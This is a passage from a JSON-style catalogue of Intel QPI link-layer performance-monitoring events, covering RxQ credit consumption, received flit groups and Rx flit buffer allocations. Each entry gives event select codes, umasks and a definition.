"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN1 credit was consumed (i.e. message uses a VN1 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN1 Credit Consumed",
"EvSel": 57,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VN1.SNP": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VN1 credit was consumed (i.e. message uses a VN1 credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VN1 Credit Consumed",
"EvSel": 57,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "bxxx1xxxx",
},
"QPI_LL.RxL_CREDITS_CONSUMED_VNA": {
"Box": "QPI_LL",
"Category": "QPI_LL RX_CREDITS_CONSUMED Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an RxQ VNA credit was consumed (i.e. message uses a VNA credit for the Rx Buffer). This includes packets that went through the RxQ and those that were bypasssed.",
"Desc": "VNA Credit Consumed",
"EvSel": 29,
"ExtSel": "",
},
"QPI_LL.RxL_CYCLES_NE": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles that the QPI RxQ was not empty. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy Accumulator event to calculate the average occupancy.",
"Desc": "RxQ Cycles Not Empty",
"EvSel": 10,
"ExtSel": "",
},
"QPI_LL.RxL_FLITS_G1": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 1",
"EvSel": 2,
"ExtSel": "",
"MaxIncCyc": 2,
},
"QPI_LL.RxL_FLITS_G1.HOM": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 1",
"EvSel": 2,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000110",
},
"QPI_LL.RxL_FLITS_G1.DRS_DATA": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 1",
"EvSel": 2,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00001000",
},
"QPI_LL.RxL_FLITS_G1.DRS": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 1",
"EvSel": 2,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00011000",
},
"QPI_LL.RxL_FLITS_G1.HOM_NONREQ": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 1",
"EvSel": 2,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000100",
},
"QPI_LL.RxL_FLITS_G1.HOM_REQ": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 1",
"EvSel": 2,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000010",
},
"QPI_LL.RxL_FLITS_G1.SNP": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 1",
"EvSel": 2,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000001",
},
"QPI_LL.RxL_FLITS_G1.DRS_NONDATA": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 1",
"EvSel": 2,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00010000",
},
"QPI_LL.RxL_FLITS_G2": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 2",
"EvSel": 3,
"ExtSel": "",
"MaxIncCyc": 2,
},
"QPI_LL.RxL_FLITS_G2.NCB_NONDATA": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 2",
"EvSel": 3,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00001000",
},
"QPI_LL.RxL_FLITS_G2.NCB_DATA": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 2",
"EvSel": 3,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000100",
},
"QPI_LL.RxL_FLITS_G2.NCS": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 2",
"EvSel": 3,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00010000",
},
"QPI_LL.RxL_FLITS_G2.NDR_AK": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 2",
"EvSel": 3,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000010",
},
"QPI_LL.RxL_FLITS_G2.NDR_AD": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 2",
"EvSel": 3,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000001",
},
"QPI_LL.RxL_FLITS_G2.NCB": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_RX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits received from the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Received - Group 2",
"EvSel": 3,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00001100",
},
"QPI_LL.RxL_INSERTS": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime.",
"Desc": "Rx Flit Buffer Allocations",
"EvSel": 8,
"ExtSel": "",
},
"QPI_LL.RxL_INSERTS_DRS": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only DRS flits.",
"Desc": "Rx Flit Buffer Allocations - DRS",
"EvSel": 9,
"ExtSel": "",
},
"QPI_LL.RxL_INSERTS_DRS.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only DRS flits.",
"Desc": "Rx Flit Buffer Allocations - DRS",
"EvSel": 9,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_INSERTS_DRS.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only DRS flits.",
"Desc": "Rx Flit Buffer Allocations - DRS",
"EvSel": 9,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_INSERTS_HOM": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only HOM flits.",
"Desc": "Rx Flit Buffer Allocations - HOM",
"EvSel": 12,
"ExtSel": "",
},
"QPI_LL.RxL_INSERTS_HOM.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only HOM flits.",
"Desc": "Rx Flit Buffer Allocations - HOM",
"EvSel": 12,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_INSERTS_HOM.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only HOM flits.",
"Desc": "Rx Flit Buffer Allocations - HOM",
"EvSel": 12,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_INSERTS_NCB": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only NCB flits.",
"Desc": "Rx Flit Buffer Allocations - NCB",
"EvSel": 10,
"ExtSel": "",
},
"QPI_LL.RxL_INSERTS_NCB.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only NCB flits.",
"Desc": "Rx Flit Buffer Allocations - NCB",
"EvSel": 10,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_INSERTS_NCB.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only NCB flits.",
"Desc": "Rx Flit Buffer Allocations - NCB",
"EvSel": 10,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_INSERTS_NCS": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only NCS flits.",
"Desc": "Rx Flit Buffer Allocations - NCS",
"EvSel": 11,
"ExtSel": "",
},
"QPI_LL.RxL_INSERTS_NCS.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only NCS flits.",
"Desc": "Rx Flit Buffer Allocations - NCS",
"EvSel": 11,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_INSERTS_NCS.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only NCS flits.",
"Desc": "Rx Flit Buffer Allocations - NCS",
"EvSel": 11,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_INSERTS_NDR": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only NDR flits.",
"Desc": "Rx Flit Buffer Allocations - NDR",
"EvSel": 14,
"ExtSel": "",
},
"QPI_LL.RxL_INSERTS_NDR.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only NDR flits.",
"Desc": "Rx Flit Buffer Allocations - NDR",
"EvSel": 14,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_INSERTS_NDR.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only NDR flits.",
"Desc": "Rx Flit Buffer Allocations - NDR",
"EvSel": 14,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_INSERTS_SNP": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only SNP flits.",
"Desc": "Rx Flit Buffer Allocations - SNP",
"EvSel": 13,
"ExtSel": "",
},
"QPI_LL.RxL_INSERTS_SNP.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only SNP flits.",
"Desc": "Rx Flit Buffer Allocations - SNP",
"EvSel": 13,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_INSERTS_SNP.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Rx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime. This monitors only SNP flits.",
"Desc": "Rx Flit Buffer Allocations - SNP",
"EvSel": 13,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_OCCUPANCY": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
